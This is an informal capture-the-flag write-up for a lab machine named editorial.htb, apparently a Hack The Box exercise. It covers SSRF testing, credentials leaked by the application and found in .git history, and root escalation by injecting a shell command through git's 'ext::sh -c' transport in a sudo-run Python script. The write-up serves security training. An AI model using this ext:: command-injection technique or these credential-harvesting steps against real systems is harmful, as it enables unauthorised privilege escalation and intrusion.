User #
sudo bash -c "echo '10.10.11.20 editorial.htb' >> /etc/hosts "
Here i’m testing for ssrf
I found that port 5000 had a diffrent response size
In this new authors message I got credentials for dev
Your login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n
Root #
I seen there was a .git so did a “git log” and saw a commit where they downgraded prod to dev
prod
080217_Producti0n_2023!@
sudo -l
sudo usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c "CMD" '
and then since u couldnt directely see the results you needed to pipe it into a file
sudo usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c "CMD" >% /tmp/FILE'
Then i ran cat /root/root.txt > /tmp/root.txt and cated it to get the flag
Thanks for reading